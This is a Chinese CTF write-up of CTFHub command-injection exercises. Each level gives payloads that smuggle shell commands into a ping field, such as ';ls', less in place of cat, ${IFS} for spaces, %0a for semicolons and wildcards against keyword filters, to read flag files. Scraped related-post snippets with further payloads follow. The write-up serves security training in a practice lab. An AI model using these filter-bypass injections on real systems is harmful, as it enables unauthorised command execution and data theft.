ctfhub-web练习–>各种绕过

1.这题没有任何过滤

直接127.0.0.1;ls获取目录,找到flag,然后cat

flag在注释里面。
2.这题过滤了cat

百度下php类cat方法:

127.0.0.1;ls 得到目录后 127.0.0.1; less flag_11261594711502.php 得到flag

3.过滤空格

用IFS绕过127.0.0.1;cat{IFS}绕过 127.0.0.1;catIFS绕过127.0.0.1;cat{IFS}flag_1630334994276.php


4.过滤目录分隔符
先看看目录
127.0.0.1;ls
然后看看flag_is_here目录里面有什么
127.0.0.1;ls flag_is_here

有flag,但是不在当前目录下,所以切换目录就行了
127.0.0.1;cd \flag_is_here;cat flag_160862057427113.php
5.过滤运算符

过滤了| 和&
但是没有过滤 ; …
送分题
;ls;cat flag_17341506416268.php

6.组合拳
过滤了|,&,;,空格,cat,flag,ctfhub
这能难到我吗???
综合前面的
${IFS} -->空格
%0a(换行) --> ;
less --> cat
而且在url中提交才行
因为在输入框中提交会再进行url编码,意思就不是我们想要的了
先127.0.0.1%0als#看看目录

再127.0.0.1%0als${IFS}fla*#
看看有啥玩意


因为过滤了flag,所以要用fla*
然后127.0.0.1%0acdIFSfla∗{IFS}fla*%0alessIFSfla∗{IFS}fla*.php#获取flag

简便方法:
127.0.0.1%0acdIFSfla∗{IFS}fla*%0alessIFSfla∗{IFS}*.php#
因为根据前面几题都知道目录和flag都叫什么类型的名字了。。。。。。。

ctfhub-->命令注入练习相关推荐

  1. CTFhub命令注入,过滤了cat命令,过滤了空格,过滤目录分隔符,过滤运算符,综合练习

    命令注入 127.0.0.1&ls 127.0.0.1&cat 109131856411048.php 过滤了cat命令之后,你还有什么方法能读到 Flag? 127.0.0.1&am ...

  2. 导致命令注入漏洞的php函数,PHP安全-函数

    函数 在我写作本书的时候,http://www.gxlcms.com/列出了共3917个函数,其中包括一些类似函数的语法结构,在此我不准备把它们从函数中区分开来,而是把它作为函数看待. 由于函数数量很 ...

  3. python注入_python的常见命令注入威胁

    ah!其实没有标题说的那么严重! 不过下面可是我们开发产品初期的一些血淋淋的案例,更多的安全威胁可以看看北北同学的<python hack>PPT,里面提及了不只命令执行的威胁,那些都是我 ...

  4. linux命令注入,Linux kernel本地命令注入漏洞

    Linux kernel本地命令注入漏洞 2005-10-19 eNet&Ciweek Linux kernel 2.2.6 Linux kernel 2.2.5 Linux kernel 2 ...

  5. php ping 命令注入,CTF关于ping命令注入问题

    题目样式 对于看到ping或者ping命令却没有弄waf时就要想到命令注入. 具体注入方法 看到ping命令就可以利用截断来执行新的命令. 首先测试所有的截断符号: '$' ';' '|' '-' ' ...

  6. openssh漏洞_漏洞预警 | OpenSSH 命令注入漏洞

    0x00  漏洞编号 CVE-2020-15778 0x01 危险等级 高危 0x02 漏洞概述 OpenSSH 8.3 p1及之前版本中的scp的scp.c文件存在命令注入漏洞.该漏洞源于外部输入数 ...

  7. php如何检测在另一台设备登录怎么做_如何使用Metasploit的Web Delivery Script和命令注入弹出Shell(翻译)...

    Web交付概述 Metasploit包含一个有用的模块,它在你的的设备上创建的服务器上承载一个负载.一旦目标设备连接到服务器并执行负载,就会运行web交付脚本.这个模块是通用的,因为它可以面向Pyth ...

  8. 命令注入工具Commix

    命令注入工具Commix 命令注入(Command Injection)攻击是针对Web应用的一种攻击方式.很多Web应用会读取用户提交的数据,然后传递到系统Shell,执行特定的操作,如为用户创建单 ...

  9. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等...

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  10. 【安全漏洞】Cisco命令注入漏洞CVE-2021-1414分析

    概述 最近关注了Cisco的一个命令注入漏洞CVE-2021-1414,命令注入之后可导致远程代码执行: 漏洞存在于固件版本低于V1.0.03.21的RV340系列路由器中,当前最新版本V1.0.03 ...

最新文章

  1. wireshark协议解析器 源码分析 封装调用
  2. 开发日记-20190521 关键词 bash的几个初始化文件
  3. linux s g文本替换问题
  4. Py之pandas:利用isin函数对dataframe格式数据按照多个字段的条件筛选
  5. 源 arm_arm和X86处理器性能简单测试
  6. mui + vue 模板
  7. access四舍五入取整round_access中round函数怎么用
  8. CCF201403-1 相反数(100分)【序列处理】
  9. 南加大计算机科学博士,美国南加州大学计算机科学博士专业介绍
  10. 【图像融合】基于matlab CBF算法图像融合【含Matlab源码 083期】
  11. 《Android框架揭秘》——2.2节搭建Android平台编译环境
  12. 超级简单Python学生信息管理系统设计与实现.zip(论文+项目源码+使用说明书)
  13. 我转行程序员的那一年(二)
  14. 收藏 | 基于深度学习的图像匹配技术一览
  15. “猫”和路由器是一个东西吗?
  16. 安装爱剪辑计算机丢失,爱剪辑没保存的视频怎么恢复?
  17. (原創) 如何自行在ThinkPad X61安裝Windows XP Professional SP3? (NB) (ThinkPad) (X61) (OS) (Windows)...
  18. 大数据全网最佳学习路线总结,不看肯定后悔
  19. Netperf性能测试工具
  20. Docker容器时间与宿主机不一致?3个解决方案

热门文章

  1. [lintcode]入门
  2. iOS仿微信添加标签
  3. Flutter Icons 图标库 国内镜像
  4. Android 下载网络图片保存到相册
  5. 在5个月内从Carpenter到前端开发人员
  6. 【Oracle】-【权限-ORA-04043】- object does not exist
  7. 大数据知识点归纳总结
  8. 【隐私计算笔谈】MPC系列专题(一):安全多方计算应用场景一览
  9. PCB阻焊层介绍与设计经验总结
  10. 在不支持AirDrop的Mac上开启和使用AirDrop的方法